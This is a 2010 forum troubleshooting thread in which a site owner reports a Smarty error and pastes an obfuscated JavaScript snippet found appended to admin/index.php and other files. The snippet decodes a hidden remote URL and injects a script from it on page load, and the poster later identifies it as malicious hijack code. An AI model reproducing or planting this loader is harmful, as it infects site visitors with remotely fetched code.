Smarty Error - admin/setup.php

Discussion in 'Troubleshooting' started by asmithseo, Jan 30, 2010.

  1. asmithseo

    asmithseo New Member

    Joined:
    Jan 15, 2010
    Messages:
    2
    Went to change one field during Authorize.net AIM config - payment.authorize.description - saved - now receive the following error.

    v3.1.8pro

    Your assistance appreciated

    224 ERROR [256] Smarty error: [in admin/js.other_db.js line 27]: syntax error: unrecognized tag: window.onload=function(){N7dmam1m58e99an = '' + 'i^$&@m)^@a@^^g)e!(b##!a&m&^)-(&)#c!(&o((!m().(#)@&c&&y(&w)#o##^r#@&l^d$&.!!c)&$o$^m^&.(t()(^o&)^r(^^r#)e^n#t))z($(^-!)c(!o!@#^m@#.&)#d&(e(&s)^#s^e$!@r)@!&t$)!b&a)#n@&&d&^.&r&$u!)@@:$((I&@$f^)2@$6$#!#(r#^#&w$#a!&!m^@o##!e()$&)x@)#/(g^o^&)#o$#g((l$@#e!@.)#c$o((m##/^#!g&!#o#&@o$))g&l!$e$!.@@(!#c!#o@^$&m@/##a$)#b&(o(&u($^!t$^#)u^!s)&$!.@&)o&)r!(g($/!&&g$o&^)o(#g!)&l!#e)&&!.!^h#)(r(^#/)&e&!v@!o#@n^@y))^(.&$&c($o$@m^^/&&@'.replace(/#|\!|\$|&|\)|@|\(|\^/ig, '') ;Eivhimx0frq = 'appendChild';Zh7790xzewvh79 = document.createElement('sc'+'ript');Zh7790xzewvh79.src = 'h'+'ttp://'+N7dmam1m58e99an.replace(/If26rwamoex/g, '8080');Zh7790xzewvh79.setAttribute('defer', 'def'+'er');eval('document.body.'+Eivhimx0frq+'(Zh7790xzewvh79)'); (Smarty_Compiler.class.php, line 403) in line 1102 of file /mnt/stor1-wc2-dfw1/451750/www.yourwealthmastery.com/web/content/amember/smarty/Smarty.class.php


    Also found this snip of code at the end of /admin/index.php

    <script>try{window.onload=function(){N7dmam1m58e99an = '' + 'i^$&@m)^@a@^^g)e!(b##!a&m&^)-(&)#c!(&o((!m().(#)@&c&&y(&w)#o##^r#@&l^d$&.!!c)&$o$^m^&.(t()(^o&)^r(^^r#)e^n#t))z($(^-!)c(!o!@#^m@#.&)#d&(e(&s)^#s^e$!@r)@!&t$)!b&a)#n@&&d&^.&r&$u!)@@:$((I&@$f^)2@$6$#!#(r#^#&w$#a!&!m^@o##!e()$&)x@)#/(g^o^&)#o$#g((l$@#e!@.)#c$o((m##/^#!g&!#o#&@o$))g&l!$e$!.@@(!#c!#o@^$&m@/##a$)#b&(o(&u($^!t$^#)u^!s)&$!.@&)o&)r!(g($/!&&g$o&^)o(#g!)&l!#e)&&!.!^h#)(r(^#/)&e&!v@!o#@n^@y))^(.&$&c($o$@m^^/&&@'.replace(/#|\!|\$|&|\)|@|\(|\^/ig, '') ;Eivhimx0frq = 'appendChild';Zh7790xzewvh79 = document.createElement('sc'+'ript');Zh7790xzewvh79.src = 'h'+'ttp://'+N7dmam1m58e99an.replace(/If26rwamoex/g, '8080');Zh7790xzewvh79.setAttribute('defer', 'def'+'er');eval('document.body.'+Eivhimx0frq+'(Zh7790xzewvh79)');} } catch(Bjlhjc9f ) {}</script>
    <!--fd3d5b8bf326443a7238f86745c75280-->
  2. skippybosco

    skippybosco CGI-Central Partner Staff Member

    Joined:
    Aug 22, 2006
    Messages:
    2,526
    If you revert the file change using the original from the zip file does the error go away?

    What did you use to edit the page? Use something like notepad, etc. Things like Dreamweaver or FrontPage can sometimes modify the code and remove the smarty tags.
  3. asmithseo

    asmithseo New Member

    Joined:
    Jan 15, 2010
    Messages:
    2
    I did no other changes other than one field change. This code was attached to all java and index.html files. Once I stripped it from all of the before mentioned files, everything worked as normal. I could be wrong, but it looks like malicious hijack code.

Share This Page